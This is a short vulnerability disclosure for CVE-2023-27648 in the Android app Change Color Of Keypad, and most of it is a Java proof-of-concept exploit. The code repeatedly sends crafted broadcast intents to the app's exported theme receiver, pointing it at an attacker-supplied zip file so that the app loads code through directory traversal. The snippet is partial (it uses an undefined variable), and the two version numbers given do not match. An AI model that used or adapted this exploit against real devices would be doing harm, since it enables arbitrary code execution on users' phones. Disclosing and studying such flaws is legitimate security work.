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Code execution exists in Change Color Of Keypad(CVE-2023-27648)

Vendor:T-ME Studios (https://corporate.timmystudios.com/)

Affected product:Change Color Of Keypad (com.jb.gokeyboard.theme.twchangecolorofkeypad)

Version:11.275.1.277

Download link:https://play.google.com/store/apps/details?id=com.jb.gokeyboard.theme.twchangecolorofkeypad

Description of the vulnerability for use in the CVE:Directory Traversal vulnerability found in T-ME Studios Change Color of Keypad v.1.275.1.277 allows a remote attacker to execute arbitrary code via the dex file in the internal storage.

poc:

private void attack() {
    while (true) {
        Intent intent = new Intent();
        ComponentName componentName = new ComponentName("com.jb.gokeyboard.theme.twchangecolorofkeypad", "com.timmystudios.redrawkeyboard.themes.SuperThemeReceiver");
        intent.setComponent(componentName);
        intent.setAction("com.timmystudios.redrawkeyboard.intent.action.THEME_APPLIED");
        intent.putExtra("package-name","com.ludashi.xsuperclean");
        intent.putExtra("selected-font",true);
        intent.putExtra("font_name","hack");
        intent.putExtra("font_id","2");
        intent.putExtra("font_resource","hackkkk");
        intent.putExtra("font_size",123456);
        intent.putExtra("selected-sound",true);
        intent.putExtra("sound_name","hack");
        intent.putExtra("sound_id","2");
        intent.putExtra("sound_resource","hackkkk");
        intent.putExtra("sound_size",123456);
        intent.putExtra("go_theme_id",3);
        intent.putExtra("go_res_zip_path","/data/local/tmp/test.zip");
        System.out.println("发送的数据大小:" + legnth);
        try {
            System.out.println("发送数据");
            sendBroadcast(intent);
        } catch (Exception e) {
        }
    }
}